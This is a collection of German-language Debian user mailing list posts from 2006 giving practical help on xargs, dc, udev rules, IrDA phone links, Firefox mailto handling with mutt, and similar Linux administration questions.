Hi Michael, Michael Renner [EMAIL PROTECTED] wrote: On Monday 05 June 2006 23:43, Frank Dietrich wrote: Michael Renner [EMAIL PROTECTED] wrote: um vergleichbare Performancemessungen machen zu können bin ich auf der Suche nach einem völlig beliebigen Java-Programm. Was willst Du denn messen? den Verbrauch an Systemressourcen, speziell mit visualgc/jvmstat. Wenn es nicht um eine spezielle Anwendung geht, dann nimm doch einfach eins der Java Demo-Applets von Sun. Und lass visualgc den Browser monitoren. normalerweise optimiere ich grosse Application Server damit, aber für eine Vorführung brauche ich was kleineres. Wie gehst Du da vor? (Antwort auch gern als PM, da dies hier nun wirklich OT wird). ;-) Frank -- Geht nicht gibts _fast_ nicht. Du musst nur professionel frickeln.
Re: auf der Suche nach einer Java-Applikation
Hallo Michael, Michael Renner [EMAIL PROTECTED] wrote: um vergleichbare Performancemessungen machen zu können bin ich auf der Suche nach einem völlig beliebigen Java-Programm. Was willst Du denn messen? Einzige Voraussetzung: es muss seltständig etwas tun! Vielleicht auf's Netzwerk zugreifen. Die Ausführungsgeschwindigkeit des Java Programms oder den Durchsatz des Netzwerkes? Frank -- the most frequently asked question: http://www.guidoz.com/tryhere.jpg
Re: Optimale Faxlösung mit Sarge
Hi Dirk, Dirk Finkeldey [EMAIL PROTECTED] wrote: Dirk Salva schrieb: On Sat, Jun 03, 2006 at 05:10:44PM +0200, Dirk Finkeldey wrote: ATi Range Pro AGP mit 8 MB Fritz! Card B1 ISA läuft mit WIN98(weil ^^ Es gibt keine Fritz! Card B1 ISA. Das ist eine AVM. Fritz! sind nur passive Karten. Die FRITZ!Card ist ein Produckt von AVM. Korrekt Zitat der Aufschrift einer A1 3.0 FC von AVM : ^^ Schau mal oben. ;-) Wenn du keine Ahnung hast verkneife dir kümpftig solche Kommentare. Also nicht immer gleich so forsch antworten. Tippfehler passieren jedem mal. Und die Kombination Fritz und B1 gibt/gab's wirklich nicht. Die B1 Karten von AVM sind aktive Karten. Gruß Frank --
Re: [SOLVED] Re: $TMPDIR funktioniert unter x-window/fvwm nicht mehr
Hi Michelle, Michelle Konzack [EMAIL PROTECTED] wrote: Seit Sarge ist 'sh' ein Symlink auf 'dash' und nicht wie unter Woody auf 'bash'. So ganz kann ich das nicht glauben. Bei mir ein Sarge-System. [EMAIL PROTECTED]:~/ ls -l `which sh` lrwxr-xr-x 1 root root 4 2005-04-10 15:30 /bin/sh - bash Hab ich garantiert nicht so von Hand eingestellt. [EMAIL PROTECTED]:~/ dpkg -l dash* No packages found matching dash*. Dann war sie auch noch nie installiert. [EMAIL PROTECTED]:~/ apt-cache show dash Package: dash Priority: optional Section: shells Installed-Size: 164 Maintainer: Gerrit Pape [EMAIL PROTECTED] Architecture: i386 Version: 0.5.2-5 Pre-Depends: libc6 (= 2.3.2.ds1-21) Filename: pool/main/d/dash/dash_0.5.2-5_i386.deb Size: 82996 MD5sum: 2350dd160259660deb9b4b986fb5b56c Description: The Debian Almquist Shell Nur zur Kontrolle was hier zur Verfügung stehen würde. Frank -- Pls wrt in prpr englsh so we cn undrstnd wht ur tlkng abt.
[evtl OT] ACPI Tabelle in der Win Registry [war: Langläufiger Linux Laptop?]
Hi an alle, sorry wenn ich den Thread an diese Stelle so abtrösle. Aber es passt schon noch irgendwie zusammen. Dirk Salva [EMAIL PROTECTED] wrote: Ich habe diesbezüglich z.B. massive Probleme mit meinem (gebraucht gekauften) Sony Vaio, um nicht zu sagen, unter Debian ist das völlig unbrauchbar. Kein Powermanagement, kein Akkumanagement, einfach nix. Unter XP läuft das einfach so, ohne irgendwas dran rumzufummeln. Das ACPI unter Linux oftmals nur schlecht, dagegen unter Windwos gut funktioniert liegt doch häufig an einer kaputten DSDT-Tabelle im BIOS (hoffe das dies jetzt technisch korrekt ist). In der Windows Registry ist doch auch so eine Tabelle zu finden. Ist das eigentlich ein Abbild der Tabelle aus dem BIOS oder ist das schon eine gepatchte Version? Dann müsste es doch möglich sein diese zu extrahieren und in einen entsprechenden Linux Kernel mit einzubinden. Vllt ist es den Versuch wert. Oder vorher mal bei acpi.sf.net schauen ob schon jemand die Tabelle für Linux gepatcht hat. Frank -- the most frequently asked question: http://www.guidoz.com/tryhere.jpg
Re: mit xargs mehrere Befehle ausführen
Hi Thorsten, Thorsten Haude [EMAIL PROTECTED] wrote: * Frank Dietrich wrote (2006-05-22 23:20): kann ich denn xargs auch mehrere Befehle ausführen lassen? Hast Du's mal versucht? Würd ich sonst so dämlich fragen? ;-) Ja und zwar... cat [] ; cog [] cat [] dog [] cat [] \ dog [] (cat [] ; dog []) Die jeweiligen Fehlermeldungen spar ich mir mal aus. Ich geh mal davon aus das es keinen Weg gibt und werd xargs erstmal ein weiteres script zu starten geben. Falls es doch jemand einen Weg kennt, dann bin ich weiterhin an der Lösung interessiert. Danke Frank -- If code looks clumsy, it can usually be better written. Clean code is more easily maintainable and modifiable.
Re: mit xargs mehrere Befehle ausführen
Hallo Ole, Ole Janssen [EMAIL PROTECTED] wrote: Am Montag, 22. Mai 2006 23:20 schrieb Frank Dietrich: kann ich denn xargs auch mehrere Befehle ausführen lassen? Also in etwa so: find ~/ -name mouse | xargs -i[] cat []; dog [] Vielleicht irgendwie so: ... | xargs -i[] sh -c 'cat [] ; dog []' Hab mein Problem erstmal mit einem Skript gelöst. Aber Deine Lösung finde ich sehr interessant und werd sie gut aufheben. Man weiß ja nie wann man mal wieder in Verlegenheit kommt. ;-) Danke Frank -- Jeder Mensch bereitet uns auf irgend eine Art Vergnügen. Der eine, wenn er ein Zimmer betritt, der andere, wenn er es verlässt.
Re: MUA Glaubenskrieg ;-) [war: Thread-Hijacking]
Hi Andreas, Andreas Pakulat [EMAIL PROTECTED] wrote: On 21.05.06 22:43:34, Frank Dietrich wrote: [1] Wenn man an einem Rechner mit Windows sitzen muss, dann sollte wenigstens das hier drauf http://unxutils.sourceforge.net/. Damit lässt sich die CMD Windows Shell zumindest soweit erweitern das sie benutzbar wird. Oder gleich ne richtige Shell benutzen, soweit ich weiss gibts zsh und ksh nativ fuer Windows Na das merk ich mir doch dann gleich mal vor. Die unxutils sollten ja auch als unterstes Level dienen. ;-) Danke für den Tipp, danach hätte ich nie gesucht. Frank -- No one ever says, I can't read that ASCII Email you sent me.
mit xargs mehrere Befehle ausführen
Hallo an euch, kann ich denn xargs auch mehrere Befehle ausführen lassen? Also in etwa so: find ~/ -name mouse | xargs -i[] cat []; dog [] Oder ist es eh besser cat und dog in ein Script zu stecken und dieses dann von xargs starten zu lassen? Frank -- If it doesn't work, force it. If it breaks, it needed replacing anyway.
Re: Browser beibringen, Mail mit mutt zu schreiben!?
Hi Andreas, Andreas Pakulat [EMAIL PROTECTED] wrote: Wenn du Interesse hast das weiter zu debuggen, gerne, aber ich brauch das eigentlich nicht... Och nö. Ich brauch das hier auch nicht. ;-) netten Gruß Frank -- Your skill in reading was increased by 1 point.
Re: MUA Glaubenskrieg ;-) [war: Thread-Hijacking]
Hi Udo, Udo Mueller [EMAIL PROTECTED] wrote: * Frank Dietrich schrieb [21-05-06 02:59]: da bei Deinem Beitrag kein Smiley war geh ich davon aus Du meinst das alles tot ernst. Wenn nicht, dann vergiss diese Mail. Anderen falls muss ich da auch mal meine Meinung zu sagen. Na, dann sollte ich von nun an in meine Signatur eine Reihe von Smileys aufnehmen, die jeder dann beliebig verteilen kann ;) Nee natürlich nicht. Sonst wirst Du noch als albern hingestellt. ;) Wenn ein Programm schon per Tasten komplett bedienbar ist, ist das toll. Aber es ist dann eher so, dass ich die Tastenkürzel des Programmes lernen muss, um es bedienen zu können. Die lassen sich auch recht einfach umbelegen, wenn einem die Zuordnung nicht gefällt. Bzgl. der Übersichtlichkeit habe ich als Anforderung, dass ich z.B. auch zwingend Teile des Mailheaders lesen möchte, sofern vorhanden. Ich auch. :-) Oder man hat Scheuklappen auf und meint es gäbe nur eine glückseeligmachende Software, die für alle und jeden gleich gut geeignet ist. ;-) Du sprichst hoffentlich von Windows ;) Nein tu ich nicht. Über Dinge die ich nicht kenne, soll ich nicht schlecht reden [1]. ;-) PS: So ohne Smiley fand ich Deinen Beitrag ziemlich flach, vor allem für jemanden der eine eigene Firma hat. Vllt. ist das manchmel auch wichtig, um Gedankengänge anzustossen, die man bei einem mit Smileys versehenen Beitrag unterlassen hätte. Das sieht man an diesem Thread wieder mal recht deutlich. Aber im Ganzen bin ich der Meinung, das es recht sachlich zugegangen ist. bis zum nächsten Thread und noch schönen Sonntag Frank [1] Wenn man an einem Rechner mit Windows sitzen muss, dann sollte wenigstens das hier drauf http://unxutils.sourceforge.net/. Damit lässt sich die CMD Windows Shell zumindest soweit erweitern das sie benutzbar wird. --
brauch mal Hilfe von einem dc Profi
Hallo an die Profis, die sich mit dc auskennen, als Grundlage mal folgende Demo (bitte nicht versuchen da einen Sinn raus zu lesen, es dient nur zu Erklärung meiner Frage) VAL=8; echo [[X]nq]sa[[Y]n${VAL}d3%0=a[?]nq]sb${VAL}d2%0=b[Z]nq|dc liefert: Y? Ergebnis wie erwartet. VAL=6; echo [[X]nq]sa[[Y]n${VAL}d3%0=a[?]nq]sb${VAL}d2%0=b[Z]nq|dc liefert: XYZ Wie kann ich dc aus Makro a heraus beenden? Ich denke ich hab da einen generellen Denkfehler. Wenn mir da jemand helfen könnte den Knoten zu entwirren. Danke Frank -- while (!asleep()) sheep++;
Re: Browser beibringen, Mail mit mutt zu schreiben!?
Hallo Andreas, Andreas Pakulat [EMAIL PROTECTED] wrote: On 20.05.06 17:19:11, Dirk Salva wrote: im Normalfall sieht eine Arbeitsumgebung bei mir so aus: lokal einen Firefox und eine Konsole in KDE geöffnet, in der Konsole eine ssh-Verbindung zum Server und darin dann mutt gestartet. Gibt es jetzt eine Möglichkeit, Firefox beizubringen, den mutt aufm Server zu starten? Klaro, ich kann dir zwar so ausm Kopf nicht sagen wo du den MUA eintragen kannst, aber an der Stelle traegst du dann sowas wie konsole -e 'ssh deinserver mutt' Folgende Stelle sollte dafür zuständig sein. Zu erreichen über die URI about:config network.protocol-handler.external.mailto = true # ist meist schon network.protocol-handler.app.mailto = mailto.sh # z.B. Frank -- No one ever says, I can't read that ASCII Email you sent me.
Re: Browser beibringen, Mail mit mutt zu schreiben!?
Hi Andreas, Andreas Pakulat [EMAIL PROTECTED] wrote: On 20.05.06 20:51:02, Frank Dietrich wrote: Andreas Pakulat [EMAIL PROTECTED] wrote: Klaro, ich kann dir zwar so ausm Kopf nicht sagen wo du den MUA eintragen kannst, aber an der Stelle traegst du dann sowas wie konsole -e 'ssh deinserver mutt' Folgende Stelle sollte dafür zuständig sein. Zu erreichen über die URI about:config network.protocol-handler.external.mailto = true # ist meist schon network.protocol-handler.app.mailto = mailto.sh # z.B. Det zweite jibbet bei mir aber nich :-( Das erste steht auf true. Naja, nach dem erzeugen klaptt das zwar prinzipiell, aber konsole als Terminal geht da so noch nicht, weil er keinen Zugriff auf ein pty bekommt... xterm geht ebensowenig, aber da hab ich auch keine Ahnung wie man das dann hinbekommt. Wie im Beispiel geschrieben, mit einem Skript. - Skript erstellen echo -e '#!/bin/sh\nxterm' /tmp/een_ufank.sh - Firefox einstellen network.protocol-handler.app.mailto = /tmp/een_ufank.sh - auf einen mailto:-Link klicken Hier geht so jedenfalls das xterm auf. Frank -- # to resolve all your problems, try this HOWTO='$i=pack(c5,(41*2),sqrt(7056),(unpack(c,H)-2),oct(115),10);' perl -e 'print '$HOWTO
Re: brauch mal Hilfe von einem dc Profi
Hi Michael, Michael Müller [EMAIL PROTECTED] wrote: Frank Dietrich schrieb: VAL=6; echo [[X]nq]sa[[Y]n${VAL}d3%0=a[?]nq]sb${VAL}d2%0=b[Z]nq|dc liefert: XYZ --- kleiner Tippfehler YXZ Wie kann ich dc aus Makro a heraus beenden? ich kenne mich mit dc nicht aus, aber nachdem ich ein paar Minuten in der manpage gelesen und bei google einige Ergebnisse aufgesucht hatte, erinnerte ich mich an ein Problem, dass ich mit dem expr-Kommando mal hatte. Zahlen werden von einem Programm gelegentlich oktal interpretiert. Nene, das ist es nicht. Er nimmt schon Radix 10. Hab es jetzt gelöst in dem ich die Entscheidungen anders definiert habe. VAL=6; echo [[Z]nq]sa[[X]nq]sb${VAL}d2%0!=a[Y]n3%0=b[?]nq|dc Nun kommen die Ergebnisse wie so sollen. Danke Frank -- If it ain't broken, don't fix it!
MUA Glaubenskrieg ;-) [war: Thread-Hijacking]
Hi Udo, da bei Deinem Beitrag kein Smiley war geh ich davon aus Du meinst das alles tot ernst. Wenn nicht, dann vergiss diese Mail. Anderen falls muss ich da auch mal meine Meinung zu sagen. Udo Mueller [EMAIL PROTECTED] wrote: * Hannes H. schrieb [20-05-06 15:39]: Am 20.05.06 schrieb Frank Terbeck [EMAIL PROTECTED]: Ich bin halt der Meinung, dass es im 21. JH keinen Grund mehr gibt, auf seinem _Arbeits_-Rechner auf eine GUI zu verzichten oder ein Consolen-Programm zum Mailen einzusetzen. Ich spreche hier nur von MUA - wie schon die ganze Zeit alle anderen auch ;-) Was für Gründe gibt es denn, einen GUI-MUA und nicht mutt einzusetzen? - Hand an der Maus festgewachsen Meinen MUA kann ich perfekt und komplett per Tastatur bedienen. - man mag die Unflexibilität seines MUA Woher glaubst Du zu wissen das anderen was fehlt? Wo ist eine Auflistung _der_ Vorzüge von mutt die jeden sofort zum Umstieg bewegen sollen? - man braucht gewissen Funktionalität nicht Da geb ich Dir Rech. Jeder erwartet was anderes von seiner Software. Ich bin mit meiner zufrieden, sie macht all das was ich mit meinem MUA machen will. Und das ist mir wichtig: - komplette Tastaturbedienung - muss für mich übersichtlich sein - schnell sein, auch bei Ordnern mit x.000 Mails - Mails da einsortieren wo sie hin sollen [1] - man will seine Email nicht remote lesen, sondern lokal oder per Webmail Nicht jeder muss/kann seine Mail remote lesen. Wenn ich mein Notebook unterwegs nicht anschließen kann, dann liegt das meist daran das ich es auf Grund von Restriktionen des dortigen Netzwerkes nicht darf. Was fast immer auch die Benutzung von ssh ausschließt. - man hat ja schon immer nen GUI-MUA gehabt Nee. - man will sich nicht umgewöhnen Ist ja auch immer eine Frage von Aufwand und Nutzen. - man hat Scheuklappen auf und denkt, die Kommandozeile ist das Gleiche wie damals bei DOS Oder man hat Scheuklappen auf und meint es gäbe nur eine glückseeligmachende Software, die für alle und jeden gleich gut geeignet ist. ;-) Solange jemand eine Software verwendet die keine defekte Mails erstellt, dann soll doch jeder das nehmen dürfen womit er persönlich am besten zurecht kommt. Eine Empfehlung kann man ihm ja trotzdem abgeben, wenn man davon überzeugt ist das der andere dadurch einen Zugewinn hat. Frank PS: So ohne Smiley fand ich Deinen Beitrag ziemlich flach, vor allem für jemanden der eine eigene Firma hat. [1] Bitte keine Diskussion darüber das dafür nicht der MUA zuständig sein sollte. Das 3 Gestirn M.A ist mir einfach zu viel, wenn es nur um meine eigene Mail geht. --
Re: Browser beibringen, Mail mit mutt zu schreiben!?
Hi Andreas, Andreas Pakulat [EMAIL PROTECTED] wrote: On 21.05.06 00:33:05, Frank Dietrich wrote: Wie im Beispiel geschrieben, mit einem Skript. - Skript erstellen echo -e '#!/bin/sh\nxterm' /tmp/een_ufank.sh - Firefox einstellen network.protocol-handler.app.mailto = /tmp/een_ufank.sh - auf einen mailto:-Link klicken Hier geht so jedenfalls das xterm auf. Huch, hatte aus versehen versucht auf dem Server muttng statt mutt zu starten, das klappt natuerlich nicht. Aber auch sonst passiert da im xterm inx weiter, es startet zwar aber sonst... Du musst dem xterm sagen was in ihm gestartet werden soll. Also im Skript müsste es so ausschauen (ungetestet kein ssh zur Hand) z.B.: xterm -e ssh -C [EMAIL PROTECTED] -i $identity_file $program Wie hast Du es denn versucht? Frank -- If it doesn't work, force it. If it breaks, it needed replacing anyway.
Re: udev-Regel
Hallo Rüdiger, Rüdiger Noack [EMAIL PROTECTED] wrote: Sony DSC60, per USB angeschlossen. Diese udev-Regel funktioniert nicht (/dev/camera* wird nicht angelegt): BUS=usb, SYSFS{model}==Sony DSC, NAME=camera%n Diese aber sehr wohl: BUS=scsi, SYSFS{model}==Sony DSC, NAME=camera%n Bug oder gibt es eine logische Erklärung? Für andere USB-Geräte (USB-HD, USB-Stick) funktioniert BUS=usb ... übrigens sehr gut. Hatte vor kurzem auch ein Problem. Ursache war das udev aus sarge mit Kernel 2.6.12 nicht richtig zusammen arbeitet. Da Du dazu noch nichts geschrieben hast wäre es evtl. eine Möglichkeit. Frank -- Um ein einwandfreies Mitglied einer Schafherde zu sein, empfiehlt es sich entweder ein Schaf zu sein, und wenn nicht, dann sollte man wenigstens gut bellen können.
Re: [OT] UMTS-BOX
Hallo Paul und alle die es vllt interessiert, Paul Puschmann [EMAIL PROTECTED] wrote: On Tue, May 09, 2006 at 04:53:24PM +0200, Andreas Pakulat wrote: On 09.05.06 16:12:07, Alexander Syring wrote: [UMTS PCI-Karten unter Linux] Leider weiß ich nicht ob schon irgendwelche Karten von Linux unterstützt werden bzw. wie gut die unter linux unterstützt werden. 1. genau das, ich bin mir nichtmal sicher ob es schon PCI-Karten gibt. Hier koenntest du ja eine PCI-Karte nehmen, die dir einen PCMCIA-Slot anbietet. Damit sollte (!) es dann ja auch gehen. Ob es PCI Karten gibt und wie die unterstützt werden kann ich auch nicht beantworten. Kann aber generell was zum Thema beisteuern. Ich nutze einen Linksys WRT54G3G Router + PCMCIA Karte Option 3G Quad UMTS/GPRS + Sim-Karte. Folgende Erfahrungen hab ich mittlerweile gesammelt: - man surft immer über einen Zwangsproxy, der z.B. die meisten Bilder einer Webseite nochmal neu rendert (meist sichbarer Qualitätsverlust) - Pingantwortzeiten liegen meist um 200ms, allerdings gibt es auch Fälle wo ein Ping gar nicht klappt, z.B. www.weather.com - Übertragungsrate ist sehr stark vom Empfangspegel abhängig, bei sehr guten Empfang kann man es wirklich als mobilen DSL/2 Ersatz gebrauchen, bei schlechtem Empfang (z.B. hier außerhalb Trier) kann es aber auch mal nur knapp ISDN Geschwindigkeit sein - die Option Karte lief auch direkt im Notebook mit Kernel 2.6.15, hatte das eingerichtet bevor ich den Linksys Router hatte Hoffe das diese Infos irgendwem nützlich sein können. Frank -- the most frequently asked question: http://www.guidoz.com/tryhere.jpg
Re: Wie das aktuelle Terminal ermitteln?
Hallo Peter, Peter Blancke [EMAIL PROTECTED] wrote: Frank Dietrich [EMAIL PROTECTED] dixit: [verunstaltete pstree Ausgabe] Bitte fuer Zitierzwecke bei pstree das -A angeben. Danke. Hätte ich wirklich dran denken können. :-/ Was nutzt es zu wissen welche PID der acpid hat? Oder wo liegt der Fehler auf meiner Seite? Der acpid wurde bei Dir auch nicht unter einer Konsole, sondern als Daemon mit der PID 2998 direkt unter dem init-Prozess mit der PID 1 gestartet. Beim OP wurde aber nach einem Terminal eines per Hand gestarteten Programmes geforscht. Ich hatte Deine Aussage als zweites unter init(1) als (wortwörtlich) zweite Zeile darunter missverstanden. Das war der Fehler. Nun hab ich es auch korrekt verstanden. Danke Frank -- Ist das jetzt ein Klischee, daß überall auf der Welt erfolgreiche Nerd-Programmierer in ihrem stillen Kämmerchen sitzen und sich alles völlig allein aus irgendwelchen Handbüchern beibringen?
Re: Wie bekomm ich in der bash autovervollstän digung?
Hallo Frank, Frank Küster [EMAIL PROTECTED] wrote: [bash history zu klein] c) Allerlei verschiedene Dinge, die mit meiner wissenschaftlichen Arbeit zusammenhängen. Die Befehle für c) lassen sich kaum wiederverwenden, aber sie füllen natürlich die .bash_history. Wenn es Befehle sind, die sich mit einer Regex fangen lassen, dann wäre vielleicht HISTIGNORE was für Dich. Da kannst Du angeben welche Befehle nicht in die History aufgenommen werden sollen. Aber so schlimm, dass ich an der histfilesize gedreht hätte, ist es doch nicht. Nur grade genug, dass ich es merke und hier zum besten gebe... Damit reichen deine 500 Zeilen auch wieder etwas länger. ;-) Gruß Frank -- Um ein einwandfreies Mitglied einer Schafherde zu sein, empfiehlt es sich entweder ein Schaf zu sein, und wenn nicht, dann sollte man wenigstens gut bellen können.
Re: Wie das aktuelle Terminal ermitteln?
Hi Peter, Peter Blancke [EMAIL PROTECTED] wrote: Michelle Konzack [EMAIL PROTECTED] dixit: [...], ich will aber heraus- finden in welchem Terminal ich welches Program gestartet habe... Haendisch: Mit pstree -p die PID des zweitobersten Prozesses unter init(1) herausfinden. Kannst Du mal genauer sagen was Du damit meintest? init(1)─┬─3(3519) ├─S30xprint(3197)─┬─S30xprint(3198)───Xprt(3203) │ └─S30xprint(3204) ├─acpid(2998) Was nutzt es zu wissen welche PID der acpid hat? Oder wo liegt der Fehler auf meiner Seite? Frank -- 21 is only half the truth -- Haeufig gestellte Fragen und Antworten (FAQ): http://www.de.debian.org/debian-user-german-FAQ/ Zum AUSTRAGEN schicken Sie eine Mail an [EMAIL PROTECTED] mit dem Subject unsubscribe. Probleme? Mail an [EMAIL PROTECTED] (engl)
Re: Exim startet nicht / Speicherplatz
Hallo Michael, Michael Frank [EMAIL PROTECTED] wrote: Mein Exim startet so wie es den Anschein hat nicht mehr, weil seine Queue Partition voll ist. mx01:/# df Dateisystem 1K-Blöcke Benutzt Verfügbar Ben% Eingehängt /dev/hda7 2885780 2835552 0 100% /var = Da kann exim nichts mehr spoolen. Wo Dein Speicher da verblieben ist kannst Du als Ansatz so ermitteln du -hx --max-depth=1 /var Frank -- # to resolve all your problems, try this HOWTO='$i=pack(c5,(41*2),sqrt(7056),(unpack(c,H)-2),oct(115),10);' perl -e 'print '$HOWTO
Re: IRDA-Verbindung zum Mobiltelefon
Hallo Wolf, Wolf Wiegand [EMAIL PROTECTED] wrote: kann mir jemand einen Tipp geben, wo ich anfangen soll, wenn ich eine IRDA-Verbindung zu meinem Telefon aufbauen will? Bin zwar auch nicht _der_ Experte, aber kann Dir zumindest meine Erkenntnisse mitteilen. Irgendwie finde ich dazu keine anständige Dokumentation. Scheint wohl daran zu liegen, das sich die ganzen Hersteller nicht wirklich auf was einheitliches einigen konnten/wollten. CONFIG_IRDA=y CONFIG_IRCOMM=y CONFIG_IRTTY_SIR=y CONFIG_IRPORT_SIR=y CONFIG_USB_IRDA=y 1. was für einen IR Port nutzt Du denn (vermute mal einen der per USB angesteckt wird) 2. es gibt zwei Übertragungsmodi SIR und FIR, welchen unterstützt Dein Port 3. aktiviere doch mal CONFIG_IRDA_DEBUG im Kernel, vllt sieht man dann schon was nicht richtig will Frank -- Jeder Mensch bereitet uns auf irgend eine Art Vergnügen. Der eine, wenn er ein Zimmer betritt, der andere, wenn er es verlässt.
Re: slapd als root
Hallo Michael, Michael Holtermann [EMAIL PROTECTED] wrote: Wolfgang Jeltsch wrote: Kann man in /etc/default/slapd einfach einen anderen Nutzer angeben? Wenn ja, welchen sollte man dort angeben? Aber klar. Ich habe da slapd als Gruppe und User eingetragen (und vermutlich auch angelegt). Ein Haken bleibt leider: wenn man mit slapindex als root die Indizes bauen lässt, werden diese mit Eigentümer root angelegt, was dem Server nicht schmeckt. Ohne mich jetzt mit slapd auszukennen. Wäre es nicht möglich su slapd -c slapindex auszuführen? Dann müssten die Dateien doch als User slapd angelegt/geändert werden. Frank -- echo '23dd4-+dn10-P18+d4+d14+PPP[]pq'|dc
Re: IRDA-Verbindung zum Mobiltelefon
Hallo Wolf, Wolf Wiegand [EMAIL PROTECTED] wrote: Frank Dietrich wrote: Scheint wohl daran zu liegen, das sich die ganzen Hersteller nicht wirklich auf was einheitliches einigen konnten/wollten. In der letzte Mail vergessen: Es handelt sich um ein Nokia 6111. Dann kann ich Dir vielleicht etwas mehr helfen. Ich nutze hier einen Notebook mit einem Nokia 6110 und übetrage die Daten mit gnokii. Was ich bei mir aber schon festgestellen musste. Sobald der Treiber für normale serielle Unterstützung geladen ist wird der IR-Port vom Modul nicht mehr gefunden. Falls Du also keine serielle Schnittstelle mehr am Notebook hast und das Modul nicht anderweitig brauchst, versuch es mal mit deaktiviertem. Habe ich aktiviert und bin jetzt mal der Anleitung von http://thinkwiki.org/wiki/How_to_make_use_of_IrDA gefolgt, was mir aber auch nicht geholfen hat: Hast Du auch die Einstellungen für Deinen Kernel vorgenommen? dmesg: IrCOMM protocol (Dag Brattli) ircomm_tty_attach_cable() ircomm_tty_ias_register() sirdev_get_instance - ircomm0 irtty_open - ircomm0: irda line discipline opened irlap_change_speed(), setting speed to 9600 nsc-ircc, Found chip at base=0x02e nsc-ircc, driver loaded (Dag Brattli) IrDA: Registered device irda1 nsc-ircc, Found dongle: HP HSDL-1100/HSDL-2100 So wie es scheint wird alles korrekt gefunden. Aber probiere das mal mit dem Modul für den seriellen Port aus. Hier [1] wird genau dieses Problem für ein anderes Notebook, aber selber Chip, auch erwähnt. Gibt es denn bei Dir das entsprechende /dev/ttySx Device? Frank [1] http://tuxmobil.org/asus_l3800c_e.html -- If it ain't broken, don't fix it!
Re: wer hat einen Tip fuer ein USB-Festplattengehaeuse
Hallo Marc, Marc Haber [EMAIL PROTECTED] wrote: On Wed, 26 Apr 2006 13:10:54 +0200, Borghart Steffen ich suche ein guenstiges 2,5 USB-Festplattengehaeuse. Ich hab im Jahr 2004 mit Genesys-Chips böse Erfahrungen gemacht. Zumindest für diesen Genesys-Chip 05e3:0702 Genesys Logic, Inc. USB 2.0 IDE Adapter kann ich bestätigen damit keinerlei Probleme zu haben. Das ganze steckt in einem Gehäuse mit der Aufschrift Mapower und hat auch noch einen Firewire-Anschluß mit dem es ebenfalls funktioniert. Der einzige Flaschenhals ist die Platte (eine ältere Platte aus meinem Notebook). ;-) Frank -- No one ever says, I can't read that ASCII Email you sent me.
Re: [solved] Re: udev Hilfe gesucht
Hi Andreas, Andreas Pakulat [EMAIL PROTECTED] wrote: On 24.04.06 22:09:50, Frank Dietrich wrote: Aber das hat mich auf die Spur gebracht. Ich hab aus Etch den Kernel 2.6.12 im Einsatz Na wenn du das gleich gesagt haettest, haetten wir uns den ganzen Spass erspart. Oder hab ich das nur ueberlesen? Wenn ich gewusst hätte das es damit was zu tun hat, hätte ich es geschrieben. ;-) (*1) Ja ich weiß es gibt neuere Versionen. Aber die hab ich nicht kompiliert bekommen und die von backports.org wollte dann auch noch lsb-base und einige andere Packete aktualisieren. IMHO waere es vmtl. sinnvoller sowohl linux-image/kernel-image als auch udev von bpo zu nehmen. Die haben nicht umsonst die entsprechenden Abhaengigkeiten. bpo-Pakete haben nur Abhaengigkeiten die in Sarge erfuellbar sind, oder liefern die entsprechenden Backports (wenn sie notwendig sind) gleich mit. Das wollte ich aus 2 Gründen vermeiden. Zum einen hab ich zur Zeit nur Download-Raten 2-4 kB/s und zum anderen hab ich mit bp.o bisher noch keine Erfahrungen gesammelt. Am Wochenende hab ich aber mal wieder DSL zur Verfügung, dann kann ich mir auch 20MB (da waren außer lsb-base noch ein paar anderen Abhängigkeiten dabei) herunterladen und es ausprobieren. Danke nochmal für Deine Hilfe Frank -- Jeder Mensch bereitet uns auf irgend eine Art Vergnügen. Der eine, wenn er ein Zimmer betritt, der andere, wenn er es verlässt.
[solved] Re: udev Hilfe gesucht
Hi Andreas, Andreas Pakulat [EMAIL PROTECTED] wrote: On 23.04.06 20:49:21, Frank Dietrich wrote: Die Lösung steckt wahrscheinlich in der Antwort auf die Frage Warum geht es nur noch mit scsi statt mit usb bei der Angabe für den Bus?. Du koenntest statt der Id fuer Model+Vendor einfach die Strings nehmen (s.u.) Wäre nicht gegangen da es verschiedene Sticks des selben Herstellers sind und die sich alle gleich melden. :-/ Gebe zu meine Informationen waren etwas spärlich. Hier nun alles was ich bisher schon gefunden hab. Vielleicht hilft es ja weiter und jemand kann mir einen Tipp geben. Wie gesagt mit udev_log=info oder besser =debug kriegst du noch mehr Infos im Syslog. Mein udev (sarge) kennt nur yes und no. Aber das hat mich auf die Spur gebracht. Ich hab aus Etch den Kernel 2.6.12 im Einsatz und da viel mir wieder ein das es mit udev und Kernel irgendwas gab. Als udev 0.58 hat mit Kernel = 2.6.12 Probleme. Hab mir nun ein udev 0.70 (*1) installiert und damit geht es nun wieder. Danke für den Tipp ;-) Frank (*1) Ja ich weiß es gibt neuere Versionen. Aber die hab ich nicht kompiliert bekommen und die von backports.org wollte dann auch noch lsb-base und einige andere Packete aktualisieren. Das wollte ich dann wiederum nicht. Würd schon gern ein reines Sarge behalten. Nun halt mit der Ausnahme von udev. -- Ist das jetzt ein Klischee, daß überall auf der Welt erfolgreiche Nerd-Programmierer in ihrem stillen Kämmerchen sitzen und sich alles völlig allein aus irgendwelchen Handbüchern beibringen?